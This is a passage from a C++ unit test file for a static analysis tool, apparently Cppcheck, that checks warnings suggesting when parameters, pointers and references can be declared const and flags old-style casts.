{}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n 